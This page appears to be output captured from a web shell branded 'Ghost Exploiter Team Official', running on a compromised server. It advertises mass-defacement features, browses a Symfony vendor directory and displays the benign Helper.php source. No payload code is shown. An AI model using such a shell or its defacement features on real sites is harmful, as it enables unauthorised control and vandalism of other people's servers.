Ghost Exploiter Team Official
Mass Deface
Directory >>
/
var
/
www
/
html
/
back
/
vendor
/
symfony
/
console
/
Helper
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
type
file
dir
+File/Dir
DebugFormatterHelper.php
3.25KB
edt
ren
DescriptorHelper.php
2.556KB
edt
ren
Dumper.php
1.635KB
edt
ren
FormatterHelper.php
2.186KB
edt
ren
Helper.php
4.569KB
edt
ren
HelperInterface.php
0.78KB
edt
ren
HelperSet.php
1.794KB
edt
ren
InputAwareHelper.php
0.714KB
edt
ren
OutputWrapper.php
2.94KB
edt
ren
ProcessHelper.php
4.716KB
edt
ren
ProgressBar.php
20.356KB
edt
ren
ProgressIndicator.php
7.484KB
edt
ren
QuestionHelper.php
20.186KB
edt
ren
SymfonyQuestionHelper.php
3.204KB
edt
ren
Table.php
33.771KB
edt
ren
TableCell.php
1.688KB
edt
ren
TableCellStyle.php
2.169KB
edt
ren
TableRows.php
0.523KB
edt
ren
TableSeparator.php
0.519KB
edt
ren
TableStyle.php
12.778KB
edt
ren
TerminalInputHelper.php
4.363KB
edt
ren
TreeHelper.php
2.842KB
edt
ren
TreeNode.php
2.312KB
edt
ren
TreeStyle.php
2.26KB
edt
ren
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; use Symfony\Component\Console\Formatter\OutputFormatterInterface; use Symfony\Component\String\UnicodeString; /** * Helper is the base class for all helper classes. * * @author Fabien Potencier <fabien@symfony.com> */ abstract class Helper implements HelperInterface { protected ?HelperSet $helperSet = null; public function setHelperSet(?HelperSet $helperSet): void { $this->helperSet = $helperSet; } public function getHelperSet(): ?HelperSet { return $this->helperSet; } /** * Returns the width of a string, using mb_strwidth if it is available. * The width is how many characters positions the string will use. */ public static function width(?string $string): int { $string ??= ''; if (preg_match('//u', $string)) { $string = preg_replace('/[\p{Cc}\x7F]++/u', '', $string, -1, $count); return (new UnicodeString($string))->width(false) + $count; } if (false === $encoding = mb_detect_encoding($string, null, true)) { return \strlen($string); } return mb_strwidth($string, $encoding); } /** * Returns the length of a string, using mb_strlen if it is available. * The length is related to how many bytes the string will use. */ public static function length(?string $string): int { $string ??= ''; if (preg_match('//u', $string)) { return (new UnicodeString($string))->length(); } if (false === $encoding = mb_detect_encoding($string, null, true)) { return \strlen($string); } return mb_strlen($string, $encoding); } /** * Returns the subset of a string, using mb_substr if it is available. */ public static function substr(?string $string, int $from, ?int $length = null): string { $string ??= ''; if (preg_match('//u', $string)) { return (new UnicodeString($string))->slice($from, $length); } if (false === $encoding = mb_detect_encoding($string, null, true)) { return substr($string, $from, $length); } return mb_substr($string, $from, $length, $encoding); } public static function formatTime(int|float $secs, int $precision = 1): string { $ms = (int) ($secs * 1000); $secs = (int) floor($secs); if (0 === $ms) { return '< 1 ms'; } static $timeFormats = [ [1, 'ms'], [1000, 's'], [60000, 'min'], [3600000, 'h'], [86_400_000, 'd'], ]; $times = []; foreach ($timeFormats as $index => $format) { $milliSeconds = isset($timeFormats[$index + 1]) ? $ms % $timeFormats[$index + 1][0] : $ms; if (isset($times[$index - $precision])) { unset($times[$index - $precision]); } if (0 === $milliSeconds) { continue; } $unitCount = ($milliSeconds / $format[0]); $times[$index] = $unitCount.' '.$format[1]; if ($ms === $milliSeconds) { break; } $ms -= $milliSeconds; } return implode(', ', array_reverse($times)); } public static function formatMemory(int $memory): string { if ($memory >= 1024 * 1024 * 1024) { return \sprintf('%.1f GiB', $memory / 1024 / 1024 / 1024); } if ($memory >= 1024 * 1024) { return \sprintf('%.1f MiB', $memory / 1024 / 1024); } if ($memory >= 1024) { return \sprintf('%d KiB', $memory / 1024); } return \sprintf('%d B', $memory); } public static function removeDecoration(OutputFormatterInterface $formatter, ?string $string): string { $isDecorated = $formatter->isDecorated(); $formatter->setDecorated(false); // remove <...> formatting $string = $formatter->format($string ?? ''); // remove already formatted characters $string = preg_replace("/\033\[[^m]*m/", '', $string ?? ''); // remove terminal hyperlinks $string = preg_replace('/\\033]8;[^;]*;[^\\033]*\\033\\\\/', '', $string ?? ''); $formatter->setDecorated($isDecorated); return $string; } }